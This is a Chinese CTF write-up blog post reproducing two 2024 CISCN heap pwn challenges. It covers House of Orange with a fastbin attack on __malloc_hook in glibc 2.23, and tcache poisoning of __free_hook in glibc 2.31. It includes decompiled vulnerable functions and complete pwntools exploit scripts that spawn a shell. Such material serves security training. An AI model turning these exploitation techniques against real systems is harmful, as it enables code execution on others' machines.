2024ciscn-PWN复现

D0wnBe@t Lv4

orange_cat_diary

漏洞分析

主代码逻辑还是一样的菜单堆,而且只是Glibc2.23的堆题目,保护全开,下面来看看各个部分的实现:

  • add
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 add()
{
int v1; // [rsp+4h] [rbp-Ch]

printf("Please input the length of the diary content:");
v1 = input();
if ( (unsigned int)v1 > 0x1000 ) // size给的很大
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
ptr = malloc(v1); // 并不是用的数组来储存堆,只能控制当前的chunk
if ( !ptr )
{
puts("Memory allocation failed.");
exit(1);
}
dword_202058 = v1;
puts("Please enter the diary content:");
read(0, ptr, dword_202058);
puts("Diary addition successful.");
return 0LL;
}
  • delete
1
2
3
4
5
6
7
8
9
10
__int64 sub_D83()
{
if ( dword_202010 > 0 ) // 该数据=1,即我们只能利用一次free
{
free(ptr); // 指针没清零,有uaf
--dword_202010;
}
puts("Diary deletion successful.");
return 0LL;
}
  • show
1
2
3
4
5
6
7
8
9
10
__int64 sub_DE9()
{
if ( dword_202014 > 0 ) // 同理,只有一次show
{
fwrite(ptr, 1uLL, dword_202058, stdout);
--dword_202014;
}
puts("Diary view successful.");
return 0LL;
}
  • edit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 edit()
{
int v1; // [rsp+4h] [rbp-Ch]

printf("Please input the length of the diary content:");
v1 = input();
if ( dword_202058 + 8 < (unsigned int)v1 ) // 允许修改溢出8字节
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
puts("Please enter the diary content:");
read(0, ptr, v1);
puts("Diary modification successful.");
return 0LL;
}
  • 下面来简单分析一下漏洞在哪
  1. 首先在delete里面有一个uaf,edit里面可以溢出修改,show可以泄露libc,但是delete和show都只有一次机会,按照常规的操作,malloc(0x80),然后free->show,获得libc的地址,但这样我们后面就无法继续操作了。

  2. 像这样的有uaf且保护全开,我们可以打 fastbin Arbitrary,错位构造 mallo_hook之上0x23的地方为fake_chunk,然后改malloc_hook,但是这里需要用到一次free,但是free已经用掉了,没机会了,所以泄露libc的方式要改一改,不能用free。

arbitrary文章可看:http://downbeat.top/2024/09/03/0ctf-2017-babyheap-fastbin-attack/

  1. 不用free,但其实我们可以用 House of orange里面的一点知识

edit允许我们溢出修改0x8字节的数据,若是malloc(0xn8),我们可以溢出修改 topchunk的size,将改size改为比0x1000小的数字,然后再次malloc(0x1000),此时会更新topchunk,旧的topchunk会进入unsortedbin中,其fd指针是指向 main_arena-88的地址,再次malloc切分unsortedbin,此时的chunk的fd指针将是一个与libc的基地址有着固定偏移的地址,因此我们也就不用free 就获得了libc的地址。然后正常打 Arbitrary alloc即可。

但是topchunk有一个检查:

1
(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)

简单来说,top chunk的size要大于等于MINSIZE,top chunk的结束地址必须是页对其的,top chunk相邻的前一个chunk必须处于inuse状态。

修改topchunk的size的时候要保证末三字节相同(页对其)

调试分析

1
2
3
4
5
6
7
8
9
add(0x18)
payload = cyclic(0x18) + p64(0xfe1)
edit(0x20,payload)
bug()
add(0x1000) # 旧的topchunk进入unsortedbin
add(0x20) # 分离unsortedbin
show()
libc.address = l64() - 0x3c5161
lg("libc_address: ",libc.address)
  • 如下,旧的topchunk进入了unsortedbin中

image-20250307165506244

  • 再次malloc,该chunk与libc的基地址有个固定的偏移

image-20250307170017160

image-20250307170052998

  • 然后就是正常的 Arbitraty alloc打法了,就不分析了,将malloc_hook改为ogg即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
libc = "./libc-2.23.so"


p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("pwn.challenge.ctf.show",)

def choice(idx):
sla("choice:",str(idx))

def add(size, content='a'):
choice(1)
sla("content:",str(size))
sa("content:",content)

def show():
choice(2)

def free():
choice(3)

def edit(size,content):
choice(4)
sla("content:",str(size))
sa("content:",content)

sla("name.",'aaa')
# show和free都只能用一次
# 修改topchunk的size,然后malloc一个大于该size的chunk
# 旧的topchunk会进入unsortedbin中,然后show就得到libc的地址

add(0x18)
payload = cyclic(0x18) + p64(0xfe1)
edit(0x20,payload)
bug()
add(0x1000) # 旧的topchunk进入unsortedbin
add(0x20) # 分离unsortedbin
show()

libc.address = l64() - 0x3c5161
lg("libc_address: ",libc.address)

one = [0x4527a , 0xf03a4 , 0xf1247]
malloc_hook = libc.sym['__malloc_hook']

# 打fastbin arbitrary
add(0x68)
free()
edit(0x70,p64(malloc_hook - 0x23))

add(0x68)

add(0x68, cyclic(0x13) + p64(one[1] + libc.address)) # fake_chunk

choice(1)
sla("content:",str(1))
ia()

note

华中赛区半决赛note

glibc2.31的简单堆

附件:通过网盘分享的文件:ciscn2024_华中赛区
链接: https://pan.baidu.com/s/14ijY8nZHGMI4y-a9XN3Z_Q?pwd=down 提取码: down

漏洞分析

  • add

可以申请很多chunk,对size限制在0xFFF里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 sub_1290()
{
int i; // [rsp+0h] [rbp-20h]
unsigned int size; // [rsp+4h] [rbp-1Ch]
void *size_4; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; heaplist[i]; ++i )
{
if ( i > 1024 )
exit(0);
}
puts("The size of your content: ");
read(0, buf, 4uLL);
size = atoi(buf);
if ( size > 0xFFF )
{
puts("too big");
exit(0);
}
size_4 = malloc(size);
if ( !size_4 )
{
puts("Here something goes wrong!");
exit(0);
}
puts("content: ");
read(0, size_4, size);
heaplist[i] = size_4;
sizelist[i] = size;
return __readfsqword(0x28u) ^ v5;
}
  • edit

正常的改,倒是也没有什么漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 sub_13D1()
{
int v1; // [rsp+8h] [rbp-18h]
unsigned int nbytes; // [rsp+Ch] [rbp-14h]
char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("index: ");
read(0, &nbytes_4, 4uLL);
v1 = atoi(&nbytes_4);
if ( !heaplist[v1] )
{
puts("Are you kididng me?");
exit(0);
}
puts("The size of your content: ");
read(0, &nbytes_4, 4uLL);
nbytes = atoi(&nbytes_4);
if ( nbytes > sizelist[v1] )
{
puts("too big");
exit(0);
}
puts("Content: ");
read(0, (void *)heaplist[v1], nbytes);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
  • free

很明显的UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_150A()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("index: ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !heaplist[v1] )
{
puts("Are you kididng me?");
exit(0);
}
free((void *)heaplist[v1]); // 指针未清零
puts("done");
return __readfsqword(0x28u) ^ v3;
}
  • show

正常的show功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_15CC()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("index: ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !heaplist[v1] )
{
puts("Are you kididng me?");
exit(0);
}
printf("Content: %s\n", (const char *)heaplist[v1]);
puts("done");
return __readfsqword(0x28u) ^ v3;
}
  • 分析:

由于没有对size很大的限制,并且还有UAF,我们填满tcache之后直接free一个chunk进入unsortedbin之后show出来即可,就可以泄露libc了,然后修改free_hook为ogg即可

调试分析

1
2
3
4
5
6
7
8
9
10
for _ in range(10):
add(0x100)

for i in range(7):
free(6-i)

free(7) # 进入unsortedbin
# bug()
show(7)
libc.address = l64() - 0x70 - libc.sym['__malloc_hook']

填满tcache之后进入unsortedbin,直接show出来即可

image-20250313133824979

image-20250313133816676

然后修改fd为__free_hook,两次malloc直接将free_hook-0x10当作chunk,free_hook为user_data,直接改free_hook为system即可:

image-20250313134045463

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
libc = "/home/downbeat/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6"


p = process(file)
elf = ELF(file)
libc = ELF(libc)
# p = remote("",)


def choice(idx):
sla("5. exit\n",str(idx))

def add(size,content='a'):
choice(1)
sla("The size of your content: \n",str(size))
sla("content: ",content)

def edit(idx,size,content):
choice(2)
sla("index: \n",str(idx))
sla("The size of your content: \n",str(size))
sla("Content: \n",content)

def free(idx):
choice(3)
sla("index: \n",str(idx))

def show(idx):
choice(4)
sla("index: \n",str(idx))

for _ in range(10):
add(0x100)

for i in range(7):
free(6-i)

free(7)
# bug()
show(7)
libc.address = l64() - 0x70 - libc.sym['__malloc_hook']

lg("libc.address: ",libc.address)

system = libc.sym['system']
free_hook = libc.sym['__free_hook']

edit(1,8,b'/bin/sh\x00')
edit(0,8,p64(free_hook)) # 改fd指针,chunk的user_data指向free_hook
add(0x100) # malloc的是tcache里面的chunk
add(0x100,p64(system)) # free_hook

free(1)
ia()
  • 标题: 2024ciscn-PWN复现
  • 作者: D0wnBe@t
  • 创建于 : 2025-03-07 13:37:54
  • 更新于 : 2025-03-13 13:58:29
  • 链接: http://downbeat.top/2025/03/07/2024ciscn-PWN复现/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论